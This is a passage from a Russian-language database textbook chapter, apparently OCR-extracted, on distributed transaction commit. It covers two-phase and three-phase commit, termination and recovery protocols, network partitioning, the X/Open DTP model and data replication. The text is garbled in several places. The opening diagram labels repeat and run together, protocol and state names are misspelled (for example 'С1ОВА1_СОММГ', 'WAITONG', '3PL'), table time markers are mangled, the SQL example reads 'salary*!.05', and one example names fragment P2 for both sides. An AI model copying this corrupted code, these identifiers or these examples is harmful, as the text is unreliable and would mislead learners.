КоординаторCommit:записать в журнал сообщение begin„commit разослать команду PREPARE всем участникам ожидать поступления ответовREADY^COMMIT:если все участники ответили READY:записать в журнал сообщение commitразослать команду GLOBAL_COMMIT всем участникам ожидать поступления подтвержденийАск:Если все участники транзакции прислали подтверждения: поместить в журнал сообщение end_ofjransactionКоординаторCommit:записать в журнал сообщение begin„commit разослать команду PREPARE всем участникам ожидать поступления ответовREADY^COMMIT:если все участники ответили READY:записать в журнал сообщение commitразослать команду GLOBAL_COMMIT всем участникам ожидать поступления подтвержденийАск:Если все участники транзакции прислали подтверждения: поместить в журнал сообщение end_ofjransactionУчастникУчастник► PREPARE:записать в журнал сообщение readyjcommit послать координатору сообщение READY_COMMIT< ожидать получения команды С1ОВА1_СОММГ или GLOBAL.ABORT► PREPARE:записать в журнал сообщение readyjcommit послать координатору сообщение READY_COMMIT< ожидать получения команды С1ОВА1_СОММГ или GLOBAL.ABORTGLOBALCOMMIT:записать в журнал сообщение commit зафиксировать результаты транзакции отослать подтверждениеGLOBALCOMMIT:записать в журнал сообщение commit зафиксировать результаты транзакции отослать подтверждение
Координатор
Commit:
записать в журнал сообщение begin„commit разослать команду PREPARE всем участникам ожидать поступления ответов
READY^COMMIT:
если все участники ответили READY:
записать в журнал сообщение commit
разослать команду GLOBAL_COMMIT всем участникам ожидать поступления подтверждений
Аск:
Если все участники транзакции прислали подтверждения: поместить в журнал сообщение end_ofjransaction
Координатор
Commit:
записать в журнал сообщение begin„commit разослать команду PREPARE всем участникам ожидать поступления ответов
READY^COMMIT:
если все участники ответили READY:
записать в журнал сообщение commit
разослать команду GLOBAL_COMMIT всем участникам ожидать поступления подтверждений
Аск:
Если все участники транзакции прислали подтверждения: поместить в журнал сообщение end_ofjransaction
Участник
Участник
► PREPARE:
записать в журнал сообщение readyjcommit послать координатору сообщение READY_COMMIT
< ожидать получения команды С1ОВА1_СОММГ или GLOBAL.ABORT
► PREPARE:
записать в журнал сообщение readyjcommit послать координатору сообщение READY_COMMIT
< ожидать получения команды С1ОВА1_СОММГ или GLOBAL.ABORT
GLOBALCOMMIT:
записать в журнал сообщение commit зафиксировать результаты транзакции отослать подтверждение
GLOBALCOMMIT:
записать в журнал сообщение commit зафиксировать результаты транзакции отослать подтверждение
(а)
КоординаторУчастник
PREPARE:записать в журнал сообщение abort отправить координатору сообщение ABORT выполнить откат транзакцииPREPARE:записать в журнал сообщение abort отправить координатору сообщение ABORT выполнить откат транзакцииCommit: записать в журнал сообщение begincommit разослать команду PREPARE всем участникам ожидать поступления ответов
PREPARE:
записать в журнал сообщение abort отправить координатору сообщение ABORT выполнить откат транзакции
PREPARE:
записать в журнал сообщение abort отправить координатору сообщение ABORT выполнить откат транзакции
ABORT:
если участник прислал сообщение ABORT: записать в журнал сообщение abort разослать всем участникам сообщение GLOBAL_ABORT ожидать поступления подтверждений
Рис. 20.7. Двухфазная фиксация транзакций: а) когда все участники проголосовали за фиксацию транзакции; б) когда некоторый участник голосует за откат транзакции
Протоколы ликвидации
Протокол ликвидации запускается всякий раз, когда координатор или участник не получает ожидаемого сообщения до наступления тайм-аута. Предпринимаемые действия зависят от того, кто не получил сообщения, координатор или участник, и какое именно сообщение не было получено.
Координатор
В процессе выполнения фиксации транзакции координатор может находиться в одном из четырех состояний: INITOAL, WAITONG, DECIDED и COMPUTED — как показано на диаграмме состояния, представленной на рис. 20.8, а. Однако состояние тайм-аута может иметь место только в двух случаях из четырех. В подобных случаях предпринимаются следующие действия.
Тайм-аут в состоянии WAITING. Координатор ожидает поступления от всех участников уведомлений о решении, которое они приняли в отношении фиксации или отката данной транзакции. В подобной ситуации координатор не может зафиксировать транзакцию, поскольку он не получил всех
требуемых подтверждений, поэтому он организует действия по глобальному откату данной транзакции.
Тайм-аут в состоянии DECIDED. Координатор ожидает поступления от всех участников уведомлений об успешном откате или фиксации данной транзакции. В подобной ситуации координатор просто повторно рассылает сведения о принятом глобальном решении на все сайты, не приславшие ожидаемого подтверждения.
(а)
Рис. 20.8. Диаграммы состояния транзакций при использовании протокола двухфазной фиксации: а) координатор; б) участник
Участник
Простейший протокол ликвидации для участника состоит в сохранении процесса на стороне участника заблокированным до тех пор, пока соединение с координатором не будет восстановлено. После этого участник сможет получить информацию о принятом глобальном решении и возобновить обработку транзакции соответствующим образом. Однако из соображений повышения производительности системы на стороне участника могут быть предприняты и другие действия.
В процессе выполнения фиксации транзакции участник может находиться в одном из четырех состояний: INITIAL, PREPARED, ABORTED и COMMITTED — как показано на диаграмме состояния, представленной на рис. 20.8, б. Однако состояние тайм-аута может иметь место только в первых двух случаях из четырех.
Тайм-аут в состоянии INITIAL. Участник ожидает от координатора поступления команды PREPARE. Ее отсутствие может свидетельствовать о том, что сайт координатора отказал, когда процесс фиксации транзакции находился в состоянии INITIAL. В этом случае участник может выполнить односторонний откат транзакции. При поступлении впоследствии команды PREPARE он сможет либо игнорировать ее (в результате чего координатор организует откат транзакции вследствие тайм-аута), либо отправить координатору сообщение ABORT.
Тайм-аут в состоянии PREPARED. Участник ожидает поступления от координатора указаний о глобальной фиксации или глобальном откате данной транзакции. Участник уже известил координатора о своем решении зафиксировать транзакцию, поэтому не имеет права изменить свое мнение и откатить ее. Но он также не может пойти дальше и действительно зафиксировать транзакцию, поскольку глобальным решением может оказаться требование ее отката. До получения дополнительной информации участник оказывается заблокированным. Однако участник может обратиться к каж-
дому из остальных участников транзакции, чтобы получить от одного из них сведения о принятом глобальном решении. Этот вариант известен как кооперативный протокол ликвидации. Самый простой способ сообщить участникам о том, кто еще участвует в выполнении транзакции, состоит в дополнении команды PREPARE списком сайтов-участников.
Хотя кооперативный протокол ликвидации снижает вероятность возникновения блокировки, эта ситуация по-прежнему остается возможной и будет сохраняться вплоть до устранения отказа. Если отказ произошел только на сайте координатора (все остальные участники могут установить это, выполняя протокол ликвидации), то они смогут выбрать нового координатора и закончить обработку транзакции описанным выше способом.
Протоколы восстановления
Обсудив действия, которые должны быть предприняты на функционирующем сайте в случае обнаружения отказа другого сайта, мы переходим к рассмотрению действий, которые необходимо выполнить при восстановлении работы сайта после его отказа. Действия, которые выполняются при перезапуске системы, опять-таки зависят от того, какие функции выполнял данный сайт в момент отказа, — координатора или участника транзакции.
Отказ координатора
Мы рассмотрим три различных варианта момента отказа сайта-координатора.
Отказ в состоянии INITIAL. Координатор еще не начал процедуру фиксации транзакции. В данном случае восстановление заключается в запуске этой процедуры фиксации.
Отказ в состоянии WAITING. Координатор уже направил команды PREPARE сайтам-участникам и хотя получил еще не все ответы, ни одного предложения об откате получено не было. В этом случае восстановление заключается в повторном запуске процедуры фиксации транзакции.
Отказ в состоянии DECIDED. Координатор уже направил участникам транзакции указания о ее глобальной фиксации или глобальном откате. Если после рестарта координатор получит все необходимые подтверждения, завершение транзакции можно считать успешным. В противном случае потребуется прибегнуть к протоколу ликвидации, уже обсуждавшемуся выше.
Отказ участника
Целью применения протокола восстановления на сайте-участнике является получение гарантий, что после рестарта системы участник выполнит в отношении транзакции те же самые действия, что и все остальные участники ее выполнения, и эти действия могут быть выполнены независимо (т.е. без необходимости проведения консультаций с координатором или другими участниками). Мы рассмотрим три различных варианта момента отказа сайта-участника.
Отказ в состоянии INITIAL. Участник еще не успел проголосовать по поводу типа завершения транзакции. Следовательно, в процессе восстановления он может выполнить односторонний откат транзакции, поскольку без голоса данного сайта координатор не мог принять решение о глобальной фиксации этой транзакции.
Отказ в состоянии PREPARED. Участник уже направил сведения о своем решении в адрес координатора. В этом случае восстановление заключается в применении протокола ликвидации, обсуждавшегося выше.
Отказ в состоянии ABORTED/COMMITTED. Участник уже завершил обработку транзакции. Следовательно, после рестарта никаких дополнительных действий не потребуется.
Протоколы выбора
Если участники обнаруживают отказ координатора (посредством тайм-аута), они могут выбрать другой сайт, который должен будет взять на себя роль координатора. Один из протоколов выбора требует, чтобы сайты системы были последовательно упорядочены. Предположим, что сайт Si занимает позицию i в общей последовательности, первым в которой является координатор, а все остальные сайты знают идентификаторы и порядковые номера других сайтов системы, некоторые из которых также могут находиться в состоянии отказа. Данный протокол выбора требует, чтобы каждый функционирующий участник посылал сообщения на сайты с большим идентификационным номером. Следовательно, сайт Sx должен отправить сообщения на сайты Si+1, Si+2, ... , Sn, причем именно в этом порядке. Если сайт Sk получит сообщение от сайта-участника с меньшим номером, то сайт Sk приходит к заключению, что он не может быть новым координатором, и прекращает отправку сообщений.
Данный протокол является относительно эффективным, и большинство участников очень быстро прекращают отправку сообщений. Рано или поздно каждый из участников узнает, существует ли в системе функционирующий сайт-участник с меньшим номером. Ели его нет, данный сайт принимает на себя функции нового координатора транзакции. Если вновь избранный координатор также попадет в состояние тайм-аута, протокол выбора будет запущен еще раз.
После восстановления отказавший сайт немедленно запускает протокол выбора. Если в системе не окажется функционирующего сайта с меньшим номером, данный сайт вынуждает все сайты с большим номером позволить ему стать новым координатором транзакции, независимо от того, существовал уже новый координатор или нет.
Топология взаимодействия сайтов при двухфазной фиксации транзакций
Существует несколько различных способов обмена сообщениями или топологий взаимодействия, которые могут использоваться при реализации двухфазной фиксации транзакций. Один вариант, обсуждавшийся выше, носит название централизованной двухфазной фиксации, поскольку все взаимодействия осуществляются через сайт- координатор по схеме, показанной на рис. 20.9, а. Было предложено несколько улучшений централизованного протокола двухфазной фиксации транзакций, позволяющих повысить общую производительность системы либо за счет сокращения количества рассылаемых сообщений, либо за счет ускорения процесса принятия решения. Все эти улучшения реализуются посредством применения различных способов обмена сообщениями.
Одним из альтернативных вариантов является использование линейного протокола двухфазной фиксации транзакций, при котором участники могут взаимодействовать друг с другом так, как показано на рис. 20.9, б. При использовании линейной топологии сайты нумеруются в последовательности 1, 2, ..., п, где сайт 1 является координатором, а все остальные сайты — участниками. Протокол двухфазной фиксации транзакций реализуется посредством передачи сообщений по цепочке сайтов в направлении от координатора к участнику п в фазе голосования, а затем в обратном направлении, в фазе принятия решения. В фазе голосования координатор посылает команду PREPARE участнику с номером 2. Этот сайт анализирует ситуацию и передает свое решение сайту с номером 3. Данный сайт комбинирует свое решение с решением сайта 2, после чего направляет полученный результат следующему сайту в цепочке. Когда сообщение достигает последнего участника, он принимает свое решение и формирует глобальное решение, которое посылает в обратном направлении, т.е. предыдущему сайту. Глобальное решение, последовательно пересылаемое по цепочке в обратном направлении, в конце концов достигает координатора. Хотя линейная топология сокращает количество передаваемых сообщений в сравнении с централизованной схемой, последовательная пересылка сообщений исключает возможность распараллеливания вычислений.
Рис. 20.9. Различные топологии протокола двухфазной фиксации транзакций: а) централизованная; б) линейная; в) распределенная. Здесь: С— координатор; Pi — участник; НС— сообщение Ready_Commit; GC— сообщение Globa l_Commit; GA — сообщение Global-Abort
Линейная схема двухфазной фиксации транзакций может быть дополнительно улучшена, если процесс голосования выполнять по линейной цепочке в направлении возрастания номеров, а для фазы принятия решения использовать централизованную топологию, что позволит сайту п послать широковещательное сообщение о принятом глобальном решении сразу всем участникам одновременно (Bernstein et al., 1987).
Третий вариант, известный как распределенный протокол двухфазной фиксации транзакций, применяет распределенную топологию по схеме, показанной на рис. 20.9, в. Координатор посылает команду PREPARE сразу всем участникам, которые в свою очередь также рассылают сведения о принятых ими решениях на все остальные сайты. Каждый из участников ожидает получения сообщений от всех остальных участников и только после этого принимает решение о фиксации или откате данной транзакции. Такой подход исключает необходимость существования фазы принятия решения, присутствующей в централизованном варианте протокола двухфазной фиксации решений, поскольку каждый из участников может самостоятельно принять решение, согласованное с остальными участниками (Skeen, 1981).
Трехфазная фиксация транзакций (3PL)
Выше уже отмечалось, что двухфазный протокол не является неблокирующим, поскольку при его использовании возможны ситуации, когда некоторый сайт остается в заблокированном состоянии. Например, процесс, зафиксировавший тайм-аут после отправки своего согласия на фиксацию транзакции, но так и не получивший глобального подтверждения от координатора, остается в заблокированном состоянии, если может взаимодействовать только с сайтами, которые также не имеют сведений о принятом глобальном решении. На практике вероятность блокирования процесса достаточно мала, поэтому в большинстве существующих СУРБД используется именно протокол двухфазной фиксации транзакций. Тем не менее был предложен альтернативный неблокирующий протокол, получивший название протокола трехфазной фиксации транзакций (Skeen, 1981). Трехфазная фиксация является неблокирующей в отношении отказов сайтов, за исключением случая одновременного отказа всех сайтов. Однако отказы линий связи могут привести к тому, что на различных сайтах будут приняты разные решения, что будет иметь следствием нарушение свойства атомарности глобальной транзакции. Для использования этого протокола необходимо выполнение следующих условий.
Расчленение сети не должно иметь места.
По крайней мере один сайт всегда должен быть доступен.
Самое большее К сайтов сети могут отказать одновременно.
Основная идея протокола трехфазной фиксации состоит в устранении неопределенного периода ожидания, в который попадают участники после подтверждения своего согласия на фиксацию транзакции и до получения от координатора извещения о глобальной фиксации или глобальном откате. В трехфазном протоколе фиксации вводится третья фаза, называемая предфиксацией, помещаемая между фазами голосования и принятия глобального решения. После получении результатов голосования от всех участников координатор рассылает глобальное сообщение PRE-COMMIT. Участник, который получил глобальное извещение о предфиксации, знает, что все остальные участники проголосовали за фиксацию результатов транзакции и что со временем сам этот участник определенно выполнит фиксацию транзакции, если не произойдет отказ. Каждый участник подтверждает получение сообщения о предфиксации. После того как координатор получит все эти подтверждения, он рассылает команду глобальной фиксации транзакции. Если некоторый участник потребовал отката транзакции, то обработка этой ситуации выполняется точно так же, как в протоколе двухфазной фиксации.
Модифицированные варианты диаграмм состояния для координатора и участника показаны на рис. 20.10. Как координатор, так и участник по-прежнему попадают в состояние ожидания, однако главная особенность состоит в том, что все функционирующие процессы были информированы о глобальном решении зафиксировать транзакцию посредством отправки сообщения PRE-COMMIT еще до того, как первый процесс выполнит фиксацию результатов транзакции, что позволяет участникам действовать независимо друг от друга в случае отказа.
Расчленение сетей
При возникновении ситуации расчленения сети поддержание базы данных в согласованном состоянии может оказаться более или менее затруднено, в зависимости от того, имеет место репликация данных или нет. Если репликация данных отсутствует, можно позволить транзакциям продолжать свое выполнение, если они не нуждаются в каких-либо данных, размещенных на сайтах, недоступных для того фрагмента, в котором эти транзакции были инициированы. В противном случае транзакции должны быть переведены в состояние ожидания вплоть до момента, когда связь с требуемыми сайтами будет восстановлена. Если имеет место репликация данных, то процедура существенно усложняется. Ниже мы рассмотрим два примера аномалий, которые могут иметь место при репликации данных в расчлененной сети. Оба примера предусматривают обращение к отношению с обычными банковскими счетами клиентов банка.
(а)(б)
Рис. 20.10. Диаграммы состояния для протокола трехфазной фиксации транзакций: а) координатор: б) участник
Обнаружение обновлений
Успешно завершенные пользователями операции обновления, выполненные в различных фрагментах сети, может быть очень трудно обнаружить, что иллюстрируется примером, приведенным в табл. 20.1. Во фрагменте сети Р2 была выполнена транзакция, в которой со счета balx была снята сумма, равная 10 фунтам стерлингов. Во фрагменте Р2 были выполнены две транзакции, в каждой из которых с этого же счета было снято по 5 фунтов стерлингов. Предположим, что исходно в обоих фрагментах сети на счету balx находилась сумма 100 фунтов стерлингов. Тогда после выполнения указанных транзакций в каждом из фрагментов сети на счету balx останется по 90 фунтов стерлингов. После восстановления целостности сети будет недостаточно проверить текущее значение на счету balx, после чего сделать заключение, что согласованность базы данных не нарушена, поскольку в обоих фрагментах сети итоговое значение оказалось одинаковым. На самом деле в этом примере после выполнения всех транзакций остаток на счету balx должен равняться 80 фунтам стерлингов.
Таблица 20.1. Пример проблемы обнаружения обновлений
Время
Фрагмент Pj
Фрагмент P2
<1
begin_transaction
begin_transaction
^2
balx = balx - 10
balx = Ь^1х - 5
*3
write(balx)
write(balx)
<4
commit
commit
<5
begin_transaction
*6
balx = balx - 5
1?
write(balx)
*8
commit
Поддержание целостности
Успешно завершенные пользователями операции обновления, выполненные в различных фрагментах сети, часто могут вызывать нарушение требований поддержки целостности данных, что иллюстрируется примером, приведенным в табл. 20.2. Предположим, что банк установил ограничение, согласно которому на счету клиентов (атрибут balx) не может оставаться отрицательный остаток. Пусть во фрагменте сети Pj была выполнена транзакция, в которой со счета balx была снята сумма 60 фунтов стерлингов, а во фрагменте Р2 была выполнена транзакция, в которой с того же счета balx была снята сумма 50 фунтов стерлингов. Предположим, что исходно в обоих фрагментах сети на счету balx находилась сумма, равная 100 фунтам стерлингов. Тогда после выполнения указанных транзакций на одном варианте счета balx останется 40 фунтов стерлингов, а на другом — 50. Важно отметить, что ни в одном из этих случаев установленное банком ограничение не было нарушено. Однако после восстановления целостности сети сводное значение счета balx должно быть принято равным -10 фунтов стерлингов, поскольку каждая из транзакций была зафиксирована в своем фрагменте сети и уже не может быть отменена. В результате установленные требования поддержки целостности данных будут нарушены.
Таблица 20.2. Пример проблемы поддержания целостности данных
Время РхР2
tl
begin_transaction
begin_transaction
balx = balx - 60
balx = balx - 50
«3
write(balx)
write(balx)
U
commit
commit
Работа в расчлененной сети требует принятия определенного компромисса между доступностью данных и корректностью их использования (Davidson, 1984; Davidson et al., 1985). Абсолютную корректность проще всего достичь, если в случае расчленения сети полностью запретить обработку каких-либо реплицируемых данных. С другой стороны, доступность данных в той же ситуации будет максимальной, если на обработку реплицируемых данных не накладывать никаких ограничений.
В общем случае невозможно создать неблокирующий, соблюдающий свойство атомарности, протокол фиксации транзакций для случая произвольного расчленения сети (Skeen, 1981). Поскольку протоколы восстановления и управления параллельностью тесно связаны между собой, выбор метода восстановления, используемого в случае расчленения сети, будет непосредственно зависеть от применяемой в системе стратегии управления параллельностью. Соответственно методы восстановления могут классифицироваться как пессимистические и оптимистические.
Пессимистические протоколы
В пессимистических протоколах предпочтение отдается сохранению целостности базы данных, а не обеспечению доступности этих данных пользователям, поэтому в отдельных фрагментах сети не допускается выполнение любых транзакций, для которых не существует гарантий, что в результате их выполнения целостность базы данных не будет нарушена. Подобные протоколы используют пессимистические алгоритмы управления параллельностью, например метод двухфазной блокировки с первичными копиями или метод блокирования большинства, обсуждавшиеся в разделе 20.2. Процедура восстановления в этом случае совсем проста, поскольку любые выполненные обновления касались информации, доступной только в отдельном фрагменте. После воссоединения сети в единое целое для восстановления целостности базы данных достаточно просто распространить сведения обо всех выполненных в различных фрагментах сети изменениях на все прочие сайты.
Оптимистические протоколы
В оптимистических протоколах, наоборот, предпочтение отдается доступности данных, даже за счет возможной потери целостности базы данных. Кроме того, в этом случае используются оптимистические протоколы управления параллельностью, позволяющие независимо выполнять любые обновления в каждом из фрагментов сети. В результате после воссоединения сети в единое целое весьма вероятен переход базы данных в несогласованное состояние.
Для выявления нарушений целостности базы данных может использоваться граф предшествования, содержащий сведения о взаимосвязях элементов данных. Граф предшествования подобен обсуждавшемуся выше графу ожидания. Он содержит сведения о том, какие элементы данных считывала и записывала каждая из выполнявшихся транзакций. Пока сеть находится в расчлененном состоянии, обновления выполняются без каких-либо ограничений, но для каждого из фрагментов сети строится собственный граф предшествования. После воссоединения сети графы предшествования всех фрагментов сливаются. Нарушение целостности базы данных имеет место в том случае, если сводный граф предшествования содержит петли. Способ устранения нарушения целостности зависит от семантики выполнявшихся транзакций, поэтому в общем случае менеджер восстановления не сможет восстановить целостность базы данных без вмешательства пользователей.
Модель распределенной обработки транзакций Х/Ореп
Open Group представляет собой независимый международный консорциум пользователей, разработчиков программ и производителей оборудования, задача которого состоит в содействии созданию жизнеспособной глобальной информационной инфраструктуры. Он был создан в феврале 1996 года в результате слияния компании X/Open Company Ltd (основанной в 1984 году) и фонда Open Software Foundation (основанного в 1988 году). Компания Х/Open создала рабочую группу Distributed Transaction Processing (DTP) Working Group, целью которой является разработка и модернизация программных интерфейсов, необходимых для обработки распределенных транзакций. Однако в то время системы обработки транзакций понимались как законченные функциональные среды, включавшие все, начиная от определений экранов пользователей и вплоть до реализации баз данных. Вместо того чтобы попытаться создать пакет стандартов для каждой из отдельных областей, группа сосредоточилась на тех элементах системы обработки транзакций, которые призваны обеспечивать основные свойства транзакций (ACID-свойства), обсуждавшиеся в разделе 17.1.1. В выпущенном группой X/Open DTP стандарте определяются три взаимодействующих между собой компонента: приложение, менеджер транзакций (ТМ) и менеджер ресурсов (RM).
Менеджером ресурсов может быть любая подсистема, управляющая используемыми в транзакциях данными, например система управления базой данных или файловая система в совокупности с менеджером сеансов. Менеджер транзакций отвечает за определение границ транзакции, т.е. за определение, какие операции являются элементами данной транзакции. Кроме того, он отвечает за присвоение каждой из транзакций некоторого уникального идентификатора, используемого всеми компонентами, а также координирует работу остальных компонентов с целью определения результатов выполнения транзакции. Для организации завершения работы распределенной транзакции менеджер транзакций может координировать свою работу с другими менеджерами транзакций. Начиная выполнение некоторой транзакции, приложение прежде всего обращается к менеджеру транзакции, а затем к менеджерам ресурсов с целью выполнения манипуляций данными, необходимых для реализации логики их обработки. По окончании обработки данных приложение вновь обращается к менеджеру транзакций с требованием завершения данной транзакции. Для координации выполнения транзакции менеджер транзакции взаимодействует с менеджерами ресурсов.
В модели Х/Open дополнительно определено несколько интерфейсов, показанных на рис. 20.11. Приложение может использовать интерфейс ТХ для взаимодействия с менеджером транзакций. Интерфейс ТХ включает вызовы функций, предназначенных для определения границ транзакции (иногда их называют ограничителями транзакции^ а также для фиксации или отмены транзакции. Сведения об обрабатываемой в транзакции информации менеджер транзакций получает от менеджера ресурсов через интерфейс ХА. Наконец, приложение может взаимодействовать непосредственно с менеджером ресурсов через обычный программный интерфейс, например интерфейс языка SQL или метод доступа ISAM.
Prepare, Commit, Abort
Рис. 20.11. Интерфейсы стандарта Х/Ореп
Например, рассмотрим приведенный ниже фрагмент некоторого приложения: tx_begin();
EXEC SQL UPDATE Staff SET salary = salary*!.05 WHERE Position = 'Manager';
EXEC SQL UPDATE Staff SET salary = salary*!.04 WHERE Position <> 'Manager'; tx_commit();
При обращении приложения к функции tx_begin() интерфейса Call Level Interface (CLI) менеджер транзакций организует начало новой транзакции и присваивает ей уникальный идентификатор. При этом менеджер транзакций с помощью функций интерфейса ХА информирует о начале новой транзакции менеджер ресурсов, которым в данном случае является сервер базы данных SQL. Получив извещение от менеджера транзакций, менеджер ресурсов предполагает, что любые поступающие от приложения вызовы будут являться частью данной транзакции, — в данном случае это два SQL-оператора обновления данных. Наконец, приложение заканчивает выполнение транзакции и вызывает функцию tx_commit(), после чего менеджер транзакций посылает менеджеру ресурсов указание зафиксировать результаты выполнения данной транзакции. Если приложение одновременно работает более чем с одним менеджером ресурсов, то в этом случае для синхронизации операций фиксирования результатов транзакции каждым менеджером ресурсов менеджер транзакции воспользуется двухфазным протоколом фиксации.
В распределенной среде описанная выше модель взаимодействия должна быть модифицирована так. чтобы позволить транзакции включать несколько отдельных субтранзакций, каждая из которых будет выполняться на удаленном сайте в удаленной базе данных. Схема модели X/Open DTP для распределенной среды представлена на рис. 20.12. В этом варианте модели приложение взаимодействует с особым типом менеджера ресурсов, называемым менеджером передачи данных (Communication manager — СМ). Как и все остальные типы менеджеров ресурсов, менеджер передачи данных получает сведения о выполняемых транзакциях от менеджера транзакций. Приложение взаимодействует с менеджером передачи данных через один из типовых интерфейсов. В этим случае необходимо наличие двух механизмов — удаленного запуска и поддержки распределенных транзакций. Удаленный запуск может быть организован с помощью стандартизованных ISO механизмов ROSE (Remote Operations Server) или RPC (Remote Procedure Call). Для координации выполнения распределенной транзакции стандарт Х/Open определяет коммуникационный протокол OSI- ТР (Open Systems Interconnection Transaction Processing).
Рис. 20.12. Интерфейсы модели Х/Ореп в распределенной среде
Модель X/Open DTP поддерживает выполнение не только плоских транзакций, но также цепочечных и вложенных транзакций (см. раздел 17.4. В случае вложенных транзакций при отмене любой из субтранзакций будет отменена и вся глобальная транзакция.
Модель Х/Open напита широкую поддержку у производителей программного обеспечения. Несколько независимых компаний выпустили на рынок пакеты менеджеров транзакций, поддерживающих интерфейс ТХ, а многие разработчики коммерческих СУБД реализовали в своих продуктах поддержку протокола ХА. Примерами подобных систем являются пакет Encina компании Transarc, СУБД Tuxedo, Oracle, Informix и SQL Server.
Серверы репликации
Как уже отмечалось в разделе 19.1.2, в настоящее время в эксплуатации находится несколько функционирующих прототипов распределенных СУБД, а также несколько систем специального назначения, что позволило уточнить требования к используемым протоколам и выявить другие важные проблемы. Однако к моменту написания этой книги распределенные СУБД общего назначения еще не получили широкого распространения. Более популярным решением в настоящее время является репликация данных — копирование и сопровождение данных на нескольких серверах. Каждый крупный поставщик СУБД реализует в своих продуктах тот или иной вариант механизма репликации, кроме того, существует много сторонних разработчиков, предлагающих собственные альтернативные решения для организации репликации данных. Использование серверов репликации является альтернативным и потенциально более простым подходом к созданию распределенных систем.
Основные концепции репликации данных
Проще всего репликацию можно определить как процесс генерации и воспроизведения нескольких копий данных, размещаемых на одном или нескольких сайтах. Механизм репликации очень важен, поскольку позволяет организации обеспечивать доступ пользователям к актуальным данным там и тогда, когда они в этом нуждаются. Использование репликации позволяет достичь многих преимуществ, включая повышение производительности (в тех случаях, когда централизованный ресурс оказывается перегруженным), надежности хранения и доступности данных, наличие “горячей” резервной копии на случай восстановления, а также возможность поддержки мобильных пользователей и хранилищ данных, В этом разделе мы рассмотрим несколько основных концепций, имеющих отношение к механизмам репликации, включая ожидаемый набор функциональных возможностей и особенности определения владельца данных. Однако прежде всего следует обсудить вопрос, где должны обновляться реплицируемые данные.
Синхронная и асинхронная репликация
Протоколы обновления реплицируемых данных, с которыми мы познакомились в предыдущих разделах этой главы, построены на допущении, что обновления всех копий данных выполняются как часть самой транзакции обновления. Другими словами, все копии реплицируемых данных обновляются одновременно с изменением исходной копии и, как правило, с помощью протокола двухфазной фиксации транзакций (см. раздел 20.4.3). Такой вариант репликации называется синхронной репликацией. Хотя этот механизм может быть просто необходим для некоторого класса систем, в которых все копии данных требуется поддерживать в абсолютно синхронном состоянии (например, в случае финансовых операций), выше было показано, что ему свойственны определенные недостатки. В частности, транзакция не сможет быть завершена, если один из сайтов с копией реплицируемых данных окажется недоступным. Кроме того, множество сообщений, необходимых для координации процесса синхронизации данных, создают существенную дополнительную нагрузку на корпоративную сеть.
Многие коммерческие распределенные СУБД предоставляют другой механизм репликации, получивший название асинхронного. Он предусматривает обновление целевых баз данных после выполнения обновления исходной базы данных. Задержка в восстановлении согласованности данных может варьироваться от нескольких секунд до нескольких часов или даже дней. Однако рано или поздно данные во всех копиях будут приведены в синхронное состояние. Хотя такой подход нарушает принцип независимости распределенных данных, он вполне может пониматься как приемлемый компромисс между целостностью данных и их доступностью, причем последнее может быть важнее для организаций, чья деятельность допускает работу с копией данных, необязательно точно синхронизованной на текущий момент.
Функциональность
Мы ожидаем, что в качестве базового уровня служба репликации распределенных данных должна быть способна копировать данные из одной базы данных в другую синхронно или асинхронно. Кроме того, существует множество других функций, которые должны поддерживаться, включая следующие.
Масштабируемость. Служба репликации должна эффективно обрабатывать как малые, так и большие объемы данных.
Отображение и трансформация. Служба репликации должна поддерживать репликацию данных в гетерогенных системах, использующих несколько платформ. Как уже отмечалось в разделе 19.1.3, это может быть связано с необходимостью отображения и преобразования данных из одной модели данных в другую или же для преобразования некоторого типа данных в соответствующий тип данных, но для среды другой СУБД.
Репликация объектов. Должна существовать возможность реплицировать объекты, отличные от обычных данных. Например, в некоторых системах допускается репликация индексов и хранимых процедур (или триггеров).
Средства определения схемы репликации. Система должна предоставлять механизм, позволяющий привилегированным пользователям задавать данные и объекты, подлежащие репликации.
Механизм подписки. Система должна включать механизм, позволяющий привилегированным пользователям оформлять подписку на данные и другие подлежащие репликации объекты.
Механизм инициализации. Система должна включать средства, обеспечивающие инициализацию вновь создаваемой реплики.
Владение данными
Владение данными определяет, какому из сайтов будет предоставлена привилегия обновления данных. Основными - типами схем владения являются варианты “ведущий/ведомый”, “рабочий поток” и “повсеместное обновление”. Последний вариант иногда называют одноранговой, или симметричной репликацией.
Схема владения „ведущий/ведомый"
При организации владения данными по схеме “ведущий/ведомый” асинхронно реплицируемые данные принадлежат одному из сайтов, называемому ведущим, или первичным, и могут обновляться только на нем. Здесь можно провести аналогию между издателем и подписчиками. Издатель (ведущий сайт) публикует свои данные. Все остальные сайты только лишь подписываются на данные, принадлежащие ведущему сайту, т.е. имеют собственные локальные копии, доступные им только для чтения. Потенциально каждый из сайтов может играть роль ведущего для различных, не перекрывающихся наборов данных. Однако в системе может существовать только один сайт, на котором располагается ведущая обновляемая копия каждого конкретного набора данных, а это означает, что конфликты обновления данных в системе полностью исключены. Ниже приводится несколько примеров возможных вариантов использования этой схемы репликации.
Системы поддержки принятия решений (ППР). Данные из одной или более распределенных баз данных могут выгружаться в отдельную, локальную систему ППР, где они будут только считываться при выполнении различных видов анализа. В компании DreamHome может собираться информация обо всех сдаваемых в аренду и продаваемых объектах недвижимости со сведениями об их арендаторах и покупателях. Затем эти данные могут анализироваться различными способами с целью выявления существующих тенденций спроса и определения категорий клиентов, приобретающих те или иные виды собственности в различных регионах страны.
Централизованное, распределение или распространение информации. Распространение данных имеет место в тех случаях, когда данные обновляются только в центральном звене системы, после чего реплицируются их копии, доступные только для чтения. Например, описания продукции и прайс-лист компании могут готовиться на центральном сайте компании, после чего доступные только для чтения копии этих документов реплицируются на удаленные сайты всех ее отделений. Этот вариант репликации данных показан на рис. 20.13, а.
Консолидация удаленной информации. Консолидация данных имеет место в тех случаях, когда обновление данных выполняется локально, поле чего их копии, доступные только для чтения, отсылаются в общее хранилище. В этой схеме каждый из сайтов автономно владеет некоторой частью данных. Например, это могут быть сведения об объектах недвижимости, которыми занимаются в каждом из отделений компании DreamHome. Доступные только для чтения копии этих данных реплицируются на центральный сайт, где помещаются (консолидируются) в единый сводный набор данных. Этот вариант репликации данных показан на рис. 20.13, б.
Поддержка мобильных пользователей. Поддержка работы мобильных пользователей получила в последние годы очень широкое распространение. Сотрудники многих организаций вынуждены постоянно перемещаться с места на место и работать за пределами офисов. Разработано несколько методов предоставления необходимых данных мобильным пользователям. Одним из них является репликация. В этом случае по требованию пользователя данные загружаются с локального сервера его рабочей группы. Обновления, выполненные клиентом для данных рабочей группы или центрального сайта (например, сведения о новом заказчике или о новом заказе), обрабатываются сходным образом.
